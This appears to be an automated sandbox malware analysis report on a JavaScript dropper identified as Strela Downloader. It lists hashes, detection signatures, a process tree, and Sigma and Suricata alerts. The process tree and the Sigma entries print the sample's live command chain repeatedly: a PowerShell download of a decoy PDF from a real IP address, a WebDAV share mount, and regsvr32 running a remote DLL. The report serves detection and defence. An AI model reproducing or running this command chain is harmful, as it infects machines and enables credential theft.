Edit tour

Windows Analysis Report
2709365481268819493.js

Overview

General Information

Sample name:	2709365481268819493.js
Analysis ID:	1588342
MD5:	a4224ef1a23993627f7914d8bdc86330
SHA1:	ed715a9844a580446369a2bbab38e14b03a9a890
SHA256:	6c39687bdc5188fa42bd71f35d93d323a5efe5fcb1991f94e9b16607b11d7b33
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5184 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2044 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4300 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5012 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7284 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,15336003115330459047,800653548766116304,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6336 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4832 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5184	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4300, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4300, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ProcessId: 5184, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4832, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ProcessId: 5184, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2044, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4300, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6336, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4832, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1776, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6336, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4832, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2709365481268819493.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5184, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\219901814515785.dll, ProcessId: 2044, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:48:56.802698+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:48:58.931702+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:48:56.802698+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2709365481268819493.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2709365481268819493.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:48:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

